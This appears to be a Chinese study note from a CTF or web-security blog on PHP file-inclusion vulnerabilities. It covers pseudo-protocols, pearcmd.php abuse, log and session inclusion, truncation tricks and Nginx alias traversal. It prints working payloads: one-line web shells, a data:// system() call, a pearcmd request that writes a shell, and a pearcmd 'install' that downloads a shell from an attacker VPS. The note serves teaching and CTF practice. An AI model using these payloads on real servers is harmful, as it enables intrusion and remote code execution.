文件包含
PHP文件包含函数
- include()
- 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时会给出一个警告,继续向下执行
- include_once()
- 功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
- require()
- require()与 include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
- require_once()
- 功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次
此外,还能造成文件包含的函数还有:
highlight_file
、show_source
、file_get_contents
、fopen
、file
、readfile
、file_put_contents
文件包含成因
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作
本地包含与远程包含
本地包含
1 | allow_url_fopen = On/Off |
示例
1 | ?filename = ../../../1.txt |
远程包含
1 | allow_url_include = On/Off |
示例
1 | filename = http://192.168.59.1:8080/ws.php |
伪协议
1 | file:// --访问本地文件系统 |
php://
php://filter
不受allow_url_fopen以及allow_url_include的影响
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php # 得到base64编码格式的php文件。如果不加read读取链,则会将其中的内容当作PHP代码执行,则无法读取到其中的文件内容,所以要在read读取链中将其编码 |
在看PHP://filter底层代码分析得时候,看到了一种形式
1 | php://filter/resource=a/convert.base64-decode/…/…/a.txt |
目前还只是对它的原理懂一点点。。只能后面遇到了在进一步了解了
在此贴出出现了上面形式得博客链接
php://input
其只受allow_url_include参数的影响
当enctype=”multipart/form-data”时候,php://input无效
1 | test.php?file=php://input |
file://
1 | test.php?file=file://C:/aa.txt |
data://
和php://类似,都是用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
需要allow_url_include以及allow_url_fopen都开启
1 | ?file=data://text/plain,<?php system("ping 127.0.0.1")?> # text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。text/plain后面的值会被当作php代码执行 |
zip:// 与 phar://协议
不受allow_url_fopen以及allow_url_include参数的影响
倘若有一种情况限制文件后缀为php的文件,并且上传的文件只能是jpg格式
比较旧的版本可以使用00截断、路径长度截断等。但是若没有截断漏洞时
可以尝试使用zip伪协议,将木马放在压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip协议进行包含
1 | ?file=zip://C:\phpStudt\PHPTutorial\WWW\cc.jpg%23cc |
http:// 访问http或https的网址
allow_url_fopen与allow_url_include需要同时开启
此伪协议就是远程文件包含漏洞。可通过其他主机getshell
1 | ?file=http://localhost/1.php |
pearcmd.php 的利用
原理
pecl 是 PHP 中用于管理扩展而使用的命令行工具,而 pear 是 pecl 依赖的类库。在 7.3 及以前,pecl/pear 是默认安装的;在 7.4 及以后,需要在编译 PHP 的时候指定 --with-pear
才会安装
在 Docker 任意版本镜像中,pcel/pear 都会被默认安装,安装的路径在 /usr/local/lib/php
1 | pear config-create <directory> <filename> |
这个命令使用 config-create
模式,表明要创建一个配置文件
Docker 环境下的 php.ini 会默认开启 register_argc_argc
配置,该配置的作用大概是将用户的输入赋予 $argc
、$argv
、$_SERVER['argv']
这几个变量。如果 PHP 以 Server 的形式运行,HTTP 数据包中的 query-string 会被作为 $_SERVER['argv']
的值,而 pear 可以通过 readPHPArgv
函数获得我们传入的 $_SERVER['argv']
RFC3875 中规定,如果 query-string 中不包含没有编码的 =,且请求是 GET 或 HEAD,则 query-string 需要被作为命令行参数。
但 PHP 没有严格按照 RFC 来处理,即使我们传入的 query-string 包含等号,也仍会被赋值给$_SERVER['argv']
。
开启这个配置后,我们的 get 请求参数会被读取进 $_SERVER['argv']
中,这个值是通过传进来内容中的 +
来进行分隔的
利用 payload
1 | /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);phpinfo()?>+/var/www/html/a.php |
由于包含了 pearcmd.php,那么接收到的参数会传入 pear 工具,等价于执行以下命令:
1 | pear config-create /&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);phpinfo()?> /var/www/html/a.php |
这条命令会把含有一句话木马的字符串写入到 /var/www/html/a.php 文件中
注意:请求里的尖括号会被 url 编码,需要使用 burpsuit 抓包,修改回原来的符号
此时再去包含生成的 /var/www/html/a.php 文件,即可执行 phpinfo ;或利用蚁剑连接
1 | /index.php?file=a.php |
此外,还有其它的利用方式
1 | /index.php?+install+--installroot+&r=/usr/local/lib/php/pearcmd.php&+http://[vps-ip]:[port]/test1.php |
该 payload 会通过 install
远程下载 shell,在有回显的情况下,服务器会回显下载的目录
注意: docker环境搭建的 PHP 可能路径不一样(可能在
/usr/share/php/pearcmd.php
),可以通过本地搭建 PHP 环境寻找路径
日志包含
如果 php 存在本地包含漏洞,但无法上传文件,也可以考虑包含日志文件获取 webshell,该方法需要开启服务器日志记录功能
访问日志的位置和文件名在不同的系统上会有所差异
- Apache 一般为 /var/log/apache/access.log
- Nginx 一般为 /var/log/nginx/access.log 和 /var/log/nginx/error.log
- IIS 一般为 /var/log/apache2/access.log
Apache 运行后一般会生成两个日志文件,一个是访问日志,一个是错误日志。访问日志记录了客户端的每次请求及服务器响应的相关信息
当访问一个不存在的资源时,日志同样会记录,例如访问 http://127.0.0.1/<?php phpinfo();?>
。Apache会记录请求 <?php phpinfo();?>
因此可以将 payload 写入到 access.log 中,然后去包含该日志: ?file=../../../../var/log/nginx/access.log
需要注意,写入 payload 需要利用 burpsuit 抓包去写,如果直接在地址栏中输入,一句话木马会被编码,无法包含
此外,也可以将 payload 写入 headers,如往 User-Agent 写入 <?php eval($_GET[2]);?>
,然后便可以使用 Webshell连接工具进行连接,或者直接进行命令执行 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
Docker 环境下的日志包含
但如果目标在 Docker 环境中,会有以下特点:
- 容器只会运行Apache,所以没有第三方软件日志
- Web日志重定向到了 /dev/stdout、/dev/stderr
此时包含这些 Web 日志会出现 include(/dev/pts/0): failed to open stream: Permission denied
的错误,因为PHP没有权限包含设备文件
所以,这种情况下利用日志包含来 getshell 的方法就无法进行
Others
限制后缀
有一些开发者会限制文件的后缀,如下
1 | <?php |
在下面条件时,可以使用%00截断
- PHP版本<5.3(不包括5.3)
- PHP magic_quotes_gpc = off;
- PHP对所接收的参数,如上述代码中的$_GET[‘file’]未使用addslashes函数
那么我们使用00截断,就可以访问其他文件
1 | ?file=flag.txt%00 |
如果magic_quotes_gpc = On 或者 使用addslashes函数,那么情况便会变为下面
1 | ?file=hello.txt%00 |
限制包含文件名
1 |
|
如果限制了包含的文件名和后缀,flag 在 flag.php 中,则可以使用下面的包含语句绕过限制
1 | php://filter/read=convert.base64-encode/resource=meowers/../flag |
file_get_contents 函数——例题
- 该函数是用于把文件的内容读入到一个字符串中
1 |
|
file_get_contents("php://input")
能够获取到原始请求的数据流,在提交后用 burp 抓包,post 提交 xxx
后成功
除此之外,还有一些 php 伪协议也可以被 file_get_contents
函数执行,如:
php://stdout
,php://stdin
,php://stderr
等data://text/plain,xxx
file_put_contents 函数
1 | file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); |
- 该函数的作用在将一个字符串写入到一个文件中。如果文件不存在,它会创建文件;如果文件存在,它会覆盖文件的内容
同理,该函数也可以执行php伪协议,如构造如下payload
1 | ?file=php://filter/write=string.rot13/resource=shell.php |
并在post中写入一句话,即可成功执行
1 | <?php phpinfo();eval($_GET['cmd']);?> |
绕过 #
1 | eval("#".$_GET['cmd']); |
构造换行符进行绕过
1 | ?cmd=%0a system('cat /fl*'); |
目录穿越
Nginx错误配置
1 | Location /static{ # location /Purl 为普通匹配,Purl和用户请求url的开头相同就匹配成功。如请求是www.mysite.com/static/img/1.jpg |
如果配置文件包含上述内容,很可能是运维人员或开发人员想让用户访问static目录(一般是静态资源目录)
如果用户请求的web路径是/static…/,拼接到alias上就变成了/home/myapp/static/…/,此时便会产生目录穿越漏洞,并且穿越到myapp目录
1 | http://192.168.139.128:8081/files../ |
session 文件包含
在 php.ini 配置文件中的 ession.upload_progress
配置选项用于追踪文件上传的进度。当用户通过表单上传文件时,启用这个选项可以在服务器端记录上传的进度,它包括以下几个相关配置选项:
session.upload_progress.enabled = on
: 启用或禁用上传进度跟踪。开启该功能后,当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中session.upload_progress.prefix = "upload_progress_"
: 上传进度信息 session 的键前缀session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
: 文件上传进度字段的名称(通常在 HTML 表单的 name 属性中使用)session.upload_progress.cleanup = on
: 是否当文件上传完成,php是否自动清理上传进度信息 session。这将导致 session 文件内容被立即清空,从而我们无法利用。因此需要利用 条件竞争 , 在 session 文件被清空前进行文件包含利用
对 session.upload_progress.prefix
和 session.upload_progress.name
的进一步解释
假如有如下上传表单:
1 | <form action="upload.php" method="post" enctype="multipart/form-data"> |
在这个例子中,PHP_SESSION_UPLOAD_PROGRESS
字段的值是 file123
, session.upload_progress.prefix
的配置值为 upload_progress_
,那么在上传进度信息 session 中的键名就是 upload_progress_file123
在 PHP 中,可以由下面的方法得到 session 的键名并输出上传进度的信息:
1 | session_start(); |
session 创建方式
- php
session_start()
1 | // 开始新的或恢复现有的会话 |
当我们要创建 session 时往往会在 php 代码里写 session_start(),但如果不写的话,也是可以创建的
php_ini
设置session.auto_start = On
当开启该选项时,php 在接受请求时自动初始化 session,不需要执行 session_start()
但默认情况下,该选项关闭
php_ini
设置session.use_strict_mode = 0
该配置选项默认值为 0
,这样用户可以自定义 session ID
比如在 cookie 中设置 PHPSESSID=MySession
,便会在服务器 /tmp
目录或者 /var/lib/php/sessions/
下创建一个文件: sess_MySession
。即便没有设置自动初始化 session,php 也会产生 session,并生成一个键值,这个键值由 ini.get("session.upload_progress.prefix")
+ session.upload_progress.name
值组成,最后被一起写入 sess_
文件里
条件竞争与 phpinfo
对任意一个 PHP 文件发送一个上传的数据包时,不管这个 PHP 服务后端是否有处理 $_FILES
的逻辑,PHP 都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是 php 开头,后面跟 6 个随机字符;在整个 PHP 文件执行完毕后,这些上传的临时文件就会被清理掉
我们可以包含这个临时文件,最后完成 getshell 操作。但这里面的问题在于我们不知道临时文件的文件名
所以这个利用的条件就是,需要有一个地方能获取到文件名,例如 phpinfo。phpinfo 页面中会输出这次请求的所有信息,包括 $_FILES
变量的值,其中包含完整文件名
然后利用条件竞争,用两个以上的线程来利用,其中一个发送上传包给 phpinfo 页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用
exp:exp.py
利用 /proc/self/environ
在 Linux 系统中,/proc/self/environ 存储了当前进程的环境变量,可以尝试读取这些敏感数据